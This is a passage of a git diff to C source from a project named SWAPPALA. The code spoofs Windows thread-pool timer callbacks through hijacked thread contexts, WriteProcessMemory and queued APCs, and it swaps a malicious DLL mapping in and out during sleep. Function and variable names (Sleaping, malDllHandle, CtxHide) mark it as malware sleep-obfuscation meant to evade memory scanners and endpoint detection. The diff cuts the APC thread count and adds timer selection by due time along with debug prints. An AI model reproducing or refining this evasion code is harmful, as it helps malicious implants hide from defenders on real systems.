(callbackinfo[2]->FinalizationCallback); - CtxHide[3].R8 = (DWORD64)SafeCallback; - CtxHide[3].R9 = (DWORD64)sizeof(PVOID); - - *(ULONG_PTR*)((CtxHide[4]).Rsp) = (DWORD64)ExitThread; - CtxHide[4].Rip = (DWORD64)WriteProcessMemory; - CtxHide[4].Rcx = (DWORD64)(HANDLE)-1; - CtxHide[4].Rdx = (DWORD64) & (callbackinfo[3]->FinalizationCallback); - CtxHide[4].R8 = (DWORD64)SafeCallback; - CtxHide[4].R9 = (DWORD64)sizeof(PVOID); - - *(ULONG_PTR*)((CtxHide[5]).Rsp) = (DWORD64)ExitThread; - CtxHide[5].Rip = (DWORD64)WriteProcessMemory; - CtxHide[5].Rcx = (DWORD64)(HANDLE)-1; - CtxHide[5].Rdx = (DWORD64) & (callbackinfo[4]->FinalizationCallback); - CtxHide[5].R8 = (DWORD64)SafeCallback; - CtxHide[5].R9 = (DWORD64)sizeof(PVOID); + // Set the new context to all the threads - for (int i = 1; i < 6; ++i) + for (int i = 1; i < 3; ++i) { // Initialize the context structure if (!NT_SUCCESS(ntFunctions->NtSetContextThread(hThreads[i], &CtxHide[i]))) @@ -148,7 +130,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA } //queue the APC threads to the worker thread - for (int i = 0; i < 5; i++) { + for (int i = 0; i < 2; i++) { if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(hThreads[0], (PPS_APC_ROUTINE)ResumeThread, hThreads[i + 1], FALSE, NULL))) { return -1; } @@ -160,7 +142,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA /* --------- FIXING --------- */ - HANDLE hThreadsFix[6] = { 0 }; + HANDLE hThreadsFix[3] = { 0 }; //starting the APC trigger thread if (!NT_SUCCESS(ntFunctions->NtCreateThreadEx(&hThreadsFix[0], THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)ExitThread, NULL, TRUE, NULL, NULL, NULL, NULL))) @@ -192,7 +174,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA } // Create seven threads in suspended state - for (int i = 1; i < 6; ++i) + for (int i = 1; i < 3; ++i) { //does not really matter here the function the threads are going to execute if (!NT_SUCCESS(ntFunctions->NtCreateThreadEx(&hThreadsFix[i], THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)ExitThread, NULL, TRUE, NULL, NULL, NULL, NULL))) @@ -202,7 +184,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA } // Modify the context of all the threads - for (int i = 1; i < 6; ++i) + for (int i = 1; i < 3; ++i) { // Initialize the context structure CtxFix[i].ContextFlags = CONTEXT_ALL; @@ -227,31 +209,10 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA CtxFix[2].R8 = (DWORD64)ResumeThreadValue; CtxFix[2].R9 = (DWORD64)sizeof(PVOID); - *(ULONG_PTR*)((CtxFix[3]).Rsp) = (DWORD64)ExitThread; - CtxFix[3].Rip = (DWORD64)WriteProcessMemory; - CtxFix[3].Rcx = (DWORD64)(HANDLE)-1; - CtxFix[3].Rdx = (DWORD64) & (callbackinfo[2]->FinalizationCallback); - CtxFix[3].R8 = (DWORD64)ResumeThreadValue; - CtxFix[3].R9 = (DWORD64)sizeof(PVOID); - - *(ULONG_PTR*)((CtxFix[4]).Rsp) = (DWORD64)ExitThread; - CtxFix[4].Rip = (DWORD64)WriteProcessMemory; - CtxFix[4].Rcx = (DWORD64)(HANDLE)-1; - CtxFix[4].Rdx = (DWORD64) & (callbackinfo[3]->FinalizationCallback); - CtxFix[4].R8 = (DWORD64)ResumeThreadValue; - CtxFix[4].R9 = (DWORD64)sizeof(PVOID); - - *(ULONG_PTR*)((CtxFix[5]).Rsp) = (DWORD64)ExitThread; - CtxFix[5].Rip = (DWORD64)WriteProcessMemory; - CtxFix[5].Rcx = (DWORD64)(HANDLE)-1; - CtxFix[5].Rdx = (DWORD64) & (callbackinfo[4]->FinalizationCallback); - CtxFix[5].R8 = (DWORD64)ResumeThreadValue; - CtxFix[5].R9 = (DWORD64)sizeof(PVOID); - // Set the new context to all the threads - for (int i = 1; i < 6; ++i) + for (int i = 1; i < 3; ++i) { // Initialize the context structure if (!NT_SUCCESS(ntFunctions->NtSetContextThread(hThreadsFix[i], &CtxFix[i]))) @@ -262,7 +223,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA } //queue the APC threads to the worker thread - for (int i = 0; i < 5; i++) { + for (int i = 0; i < 2; i++) { if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(hThreadsFix[0], (PPS_APC_ROUTINE)ResumeThread, hThreadsFix[i + 1], FALSE, NULL))) { return -1; } @@ -274,9 +235,9 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA } //for loop that adds both Thread and ThreadFix to the array of apcThreads - for (int i = 0; i < 6; i++) { + for (int i = 0; i < 3; i++) { apcThreads[i] = hThreads[i]; - apcThreads[i + 6] = hThreadsFix[i]; + apcThreads[i + 3] = hThreadsFix[i]; } return 0; @@ -295,7 +256,10 @@ int GetInfoFromWorkerFactory(HANDLE hWorkerFactory, PVOID ResumeThreadAddress, i SIZE_T len = 0; TPP_CLEANUP_GROUP_MEMBER ctx = { 0 }; HMODULE hNtdll = { 0 }; - + INT64 highest = 0; + INT64 second_highest = 0; + int index_highest = 0; + int index_second_highest = 0; if (!(hNtdll = GetModuleHandleA("ntdll"))) { return -1; @@ -327,20 +291,36 @@ int GetInfoFromWorkerFactory(HANDLE hWorkerFactory, PVOID ResumeThreadAddress, i PLIST_ENTRY pHead = tp_timer.WindowStartLinks.Children.Flink; PLIST_ENTRY pFwd = tp_timer.WindowStartLinks.Children.Flink; LIST_ENTRY entry = { 0 }; - + do { if (ReadProcessMemory(GetCurrentProcess(), tp_timer.Work.CleanupGroupMember.Context, &ctx, sizeof(TPP_CLEANUP_GROUP_MEMBER), &len) == FALSE) { break; } + //print all the tp_timer members + + if ((ctx).FinalizationCallback == ResumeThreadAddress) { + printf("[!] DueTimer %" PRIu64 " with address %p\n", tp_timer.DueTime, tp_timer.Work.CleanupGroupMember.Context); + if (tp_timer.DueTime > highest) { + second_highest = highest; + highest = tp_timer.DueTime; + + callbackArray[0] = (PTPP_CLEANUP_GROUP_MEMBER)tp_timer.Work.CleanupGroupMember.Context; //address of the object - callbackArray[*arraySize] = (PTPP_CLEANUP_GROUP_MEMBER)tp_timer.Work.CleanupGroupMember.Context; //address of the object + } + else if (tp_timer.DueTime > second_highest && tp_timer.DueTime <= highest) { + second_highest = tp_timer.DueTime; + callbackArray[1] = (PTPP_CLEANUP_GROUP_MEMBER)tp_timer.Work.CleanupGroupMember.Context; //address of the object + } + + (*arraySize)++; } + p_tp_timer = CONTAINING_RECORD(pFwd, FULL_TP_TIMER, WindowStartLinks); @@ -354,6 +334,9 @@ int GetInfoFromWorkerFactory(HANDLE hWorkerFactory, PVOID ResumeThreadAddress, i } while (pHead != pFwd); } + //print highest and second highest due time + printf("[!] Highest DueTime %" PRIu64 " with address: %p\n", highest, callbackArray[0]); + printf("[!] Second Highest DueTime %" PRIu64 " with address %p\n", second_highest, callbackArray[1]); return 0; @@ -461,13 +444,13 @@ int EnumResumeThreadCallbacks(PVOID ResumeThreadAddress, PTPP_CLEANUP_GROUP_MEMB int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_T viewSize, PNT_FUNCTIONS ntFunctions, PFUNCTION_ADDRESSES fnAddr) { //APC Threads - PHANDLE ApcThreads = (PHANDLE)(VirtualAlloc(NULL, 12 * sizeof(HANDLE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + PHANDLE ApcThreads = (PHANDLE)(VirtualAlloc(NULL, 6 * sizeof(HANDLE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); //Context APC threads - CONTEXT* CtxHide = (CONTEXT*)(VirtualAlloc(NULL, 6 * sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + CONTEXT* CtxHide = (CONTEXT*)(VirtualAlloc(NULL, 3 * sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); //context APC threads fix callback - CONTEXT* CtxFix = (CONTEXT*)(VirtualAlloc(NULL, 6 * sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + CONTEXT* CtxFix = (CONTEXT*)(VirtualAlloc(NULL, 3 * sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); //events for APC threads HANDLE EvntHide = { 0 }; @@ -477,16 +460,16 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_ HMODULE hNtdll = { 0 }; //callbackArray for APC to spoof - PTPP_CLEANUP_GROUP_MEMBER* callbackArray = (PTPP_CLEANUP_GROUP_MEMBER*)VirtualAlloc(NULL, 5 * sizeof(PTPP_CLEANUP_GROUP_MEMBER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + PTPP_CLEANUP_GROUP_MEMBER* callbackArray = (PTPP_CLEANUP_GROUP_MEMBER*)VirtualAlloc(NULL, 2 * sizeof(PTPP_CLEANUP_GROUP_MEMBER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); PDWORD64 ResumeThreadValue = (PDWORD64)VirtualAlloc(NULL, sizeof(PVOID), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); PDWORD64 SafeCallback = (PDWORD64)VirtualAlloc(NULL, sizeof(PVOID), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //initializing callback array structs - for (int i = 0; i < 5; i++) { + for (int i = 0; i < 2; i++) { callbackArray[i] = (PTPP_CLEANUP_GROUP_MEMBER)VirtualAlloc(NULL, sizeof(TPP_CLEANUP_GROUP_MEMBER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); } - //sleaping threads = 5 Timers + 12 APC threads - HANDLE ThreadArray[17] = { NULL }; + //sleaping threads = 5 Timers + 6 APC threads + HANDLE ThreadArray[11] = { NULL }; //timers variables HANDLE hTimerQueue = NULL; @@ -616,10 +599,10 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_ if (SleapingAPCNG(callbackArray, &EvntHide, &DummyEvent, ApcThreads, CtxHide, CtxFix, ResumeThreadValue, SafeCallback, ntFunctions, fnAddr) == 0) { int counter = 5; - for (int i = 0; i < 12; i++) { + for (int i = 0; i < 6; i++) { //adding the newly created APC threads to the thread array to be waiting for - ThreadArray[counter] = ApcThreads[i];//5 + 12 + ThreadArray[counter] = ApcThreads[i];//5 + 6 counter++; } @@ -636,7 +619,7 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_ return -1; } - if (WaitForMultipleObjects(17, ThreadArray, TRUE, INFINITE) == WAIT_FAILED) { + if (WaitForMultipleObjects(11, ThreadArray, TRUE, INFINITE) == WAIT_FAILED) { return -1; } @@ -651,7 +634,7 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_ if (contextC) VirtualFree(contextC, 0, MEM_RELEASE); if (contextD) VirtualFree(contextD, 0, MEM_RELEASE); if (contextE) VirtualFree(contextE, 0, MEM_RELEASE); - for (int i = 0; i < 5; i++) { + for (int i = 0; i < 2; i++) { if (callbackArray[i] != NULL) { VirtualFree(callbackArray[i], 0, MEM_RELEASE); } diff --git a/SWAPPALA/x64/Debug/SWAPPALA.pdb b/SWAPPALA/x64/Debug/SWAPPALA.pdb index 35c4b90..f087d50 100644 Binary files a/SWAPPALA/x64/Debug/SWAPPALA.pdb and b/SWAPPALA/x64/Debug/SWAPPALA.pdb differ